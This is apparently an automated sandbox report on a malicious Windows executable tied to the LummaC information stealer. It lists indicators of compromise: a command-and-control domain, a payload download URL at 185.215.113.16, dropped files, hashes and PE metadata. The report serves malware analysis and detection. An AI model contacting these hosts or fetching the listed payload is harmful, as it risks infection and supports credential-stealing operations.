http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiny	file.exe, 00000000.00000003.2164919735.0000000001150000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000003.2199880231.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/7	file.exe, 00000000.00000003.2213266340.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213381477.0000000001150000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.91	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543418
Start date and time:	2024-10-27 20:14:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/7@3/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 4292 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:15:12	API Interceptor	10x Sleep call for process: file.exe modified
15:16:06	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.95.91	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win64.Malware-gen.13500.20938.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	162.159.135.232
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse	104.20.23.46
	SecuriteInfo.com.Win64.MalwareX-gen.31244.2279.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
	SecuriteInfo.com.Win64.CrypterX-gen.31361.18171.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.TR.Redcap.cdtxw.10783.3124.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	0j6nSbUQQS.dll	Get hash	malicious	Amadey	Browse	185.215.113.217

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Trojan.TR.Redcap.cdtxw.10783.3124.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	K3SRs78CAv.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_91e76ee78e1f204b45c73efb41d5deb2f3e72f7_22e76915_6d55beea-221e-4aa1-acde-4424e739a9d1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9883906046895307
Encrypted:	false
SSDEEP:	192:Fgz1RykgFvWP80BU/7E3juFQMzuiFKZ24IO8ThB:+q5VWPBU/AjyzuiFKY4IO8r
MD5:	D8F0FB7F47729B319AD3957D65D2D124
SHA1:	3292C8AF2B8BDCE572487E9C965D5EED325C1112
SHA-256:	A77E07C1370848F9F9C9928975DB0257131B77451F39310CFBFB43208D365158
SHA-512:	315877755E86C451824BE1CED4FFB6CDE6FB740CD275FDECD3C97B7F933DAEED65EC4CCA4FF2C11306BCAC883C9DDFC33CDEFA58B2B6EAD32EC74CAE7630686A
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.5.3.0.1.3.5.0.3.4.2.8.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.5.3.0.1.3.5.6.5.9.2.9.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.d.5.5.b.e.e.a.-.2.2.1.e.-.4.a.a.1.-.a.c.d.e.-.4.4.2.4.e.7.3.9.a.9.d.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.a.2.8.5.4.7.-.b.0.a.0.-.4.1.a.c.-.8.b.2.c.-.3.8.9.0.8.f.6.6.5.9.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.c.4.-.0.0.0.1.-.0.0.1.4.-.2.3.e.c.-.b.6.8.9.a.4.2.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.a.0.1.5.2.e.8.0.a.3.0.3.a.0.c.e.a.0.4.9.c.b.7.5.4.a.8.4.1.1.7.9.7.4.5.f.6.8.5.f.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD76D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Oct 27 19:15:35 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	282984
Entropy (8bit):	1.5241529682840615
Encrypted:	false
SSDEEP:	768:9+9AB7XLFAM0o58KBNm2XSrk2saEP/NRK6UU:9+kXr58eNm2+GfP/NR9
MD5:	A31EA33914ABA8EE9D3D7C7C218ECEB8
SHA1:	2F674196DF5AF5B43AFC555EF3A9AE5B3789C0A9
SHA-256:	607A950F7BDDAE9412465BE0BECBA5C8169D8B843027C48A54AA04C851F0CC0F
SHA-512:	E3F24439D3656066FC050253AAEE918E1601293ECD596A7455E5BDFF7DFDE9E85CFB3A7E214592CB794AA90976BEFAA4D514E93FCB4E9C152F3AD71E72ACA525
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......W..g....................................\...\|%......$..............`.......8...........T...........hH...............&...........(..............................................................................eJ......\)......GenuineIntel............T...........<..g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8B6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8364
Entropy (8bit):	3.698335629098832
Encrypted:	false
SSDEEP:	192:R6l7wVeJHC5696YEIMSU92agmfBWtprK89bArsfLAm:R6lXJE696YEjSU92agmf8jAwfJ
MD5:	F29EFF54297CC3E86B2B12C1882A6FAB
SHA1:	39F47358710BF30A22CDCA17CEDC06F70921345D
SHA-256:	B05E501E4FB6F651A2B8B79E01B400517E9DB84CEB8722320366481CDE8CFD39
SHA-512:	FBB97B1E97BC123075F6AD97FCDD22FCD0493A29BD2D1B2C862B14774060C5C58EBCD9BD9B8479050E8F465B99316D03A90A35C2C9F53B9836163D370B312D16
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.2.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8E6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4594
Entropy (8bit):	4.470106598998207
Encrypted:	false
SSDEEP:	48:cvIwWl8zssJg77aI92pWpW8VYWRYm8M4J9gF8Y+q8or0AV2DsId:uIjfqI7UY7VJQJ2SRDsId
MD5:	03A33D487107848A6C1171DB6F0F105E
SHA1:	0ADD1115072DB3BAC1D0D467210DC373AEBEEF9E
SHA-256:	2FCD00C7AEEC548B252D7A0153ADBC3FE73FBBB49D1181F04125985A650A7725
SHA-512:	58D393B9FA25375E77A3651C1A514DAC537E330F9A518ED227CBF30040ED7154A9F394EFE2E71AC752C99ED74C01DDB16279659F9BD026B3026A4FD5B33435C0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="562218" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\R2L4HOH3ABPEWSR51AXUR0XR.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2815488
Entropy (8bit):	6.509385204000096
Encrypted:	false
SSDEEP:	49152:jyHkqNFzrhtSDVA1GBlHu7HL2FUYWZtK0DAdr94jn2V9Ig9zZ:jyHhfzrEVA1GBl+HKFGKn2n2VG
MD5:	728F12175C37A35D5D88861DC368FDEC
SHA1:	CC4990320B9C204B331C71EBF400B588DB290091
SHA-256:	F4D1F566AA7534D71E2236C833C213F7BF05D8136121E605EBBF6D58E069B8E0
SHA-512:	E8B02389C96EE3A73AB084FBB74145CEEC17609E3A644B110B8198D70DB1EF6C288FE7A0AAF6352B37969839106B09321316EEF2A88826EB2FC5420DEADB51F0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xefzgxds...........:..............@...hdhcczpq. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421331866773833
Encrypted:	false
SSDEEP:	6144:BSvfpi6ceLP/9skLmb0OTeWSPHaJG8nAgeMZMMhA2fX4WABlEnN20uhiTw:YvloTeW+EZMM6DFy403w
MD5:	8F23E73B6940D852F54CCF29B24604D6
SHA1:	900F947F52CBDCDA2462FB01DC2BF489AC7B99FC
SHA-256:	76A99E60EA6D977E7BD04F4CC77FD28E0CCA5977A636FACD075D0AFB68F82E25
SHA-512:	AF49E883AE578E8556D5A4A4EE5CEDFAB231D5A9FB44470644D8B49BBC7EA55706A2AB9AF588E87027125FF6E1579101493D36B5FA1447335E8AF8E8D0C1AEC7
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmR.J..(..............................................................................................................................................................................................................................................................................................................................................P9].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.513909042570605
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'991'616 bytes
MD5:	4fedb70a7d089a6d597ed457dbe08e9d
SHA1:	a0152e80a303a0cea049cb754a841179745f685f
SHA256:	fb441142b7c68401a527f50b57be4cc3b3008a895a0dd89de4c1521e91e78e34
SHA512:	155819497b1791ac39b5845e0c0a1ffa027a4fadfe558e86ca3434a59ba21e6f975e0ae2a012d8fb7a027259de7013e03ba529ce9c2cdc8049b16d12b305fb19
SSDEEP:	49152:a06dyEcclZYUMw7/owu71J5S53wwHyaTUiYCqPD+:p6dyEcclZYw7/owu79SuwrTUiYCSD+
TLSH:	3DD54B92B509B2CFD48E26F4907FCD62995D43F9471408CBDC2964BABE63CC215F9E24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.....@s....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1B512DEF5Ah
je 00007F1B512DEF83h
add byte ptr [eax], al
jmp 00007F1B512E0F55h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	2596503ac9d52f0aa9bdc158dea62044	False	0.9980223844043887	data	7.977734003141143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vsahlvgz	0x5b000	0x2af000	0x2af000	2abfb4c86ff7f3841ffce72878e3bf30	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vitkkyas	0x30a000	0x1000	0x400	b858d781a8957576750ecdcd56ded741	False	0.701171875	data	5.7604726258593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30b000	0x3000	0x2200	c98fbcc7c34d2967b6486b90083be4e8	False	0.07364430147058823	DOS executable (COM)	0.7634487537192727	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
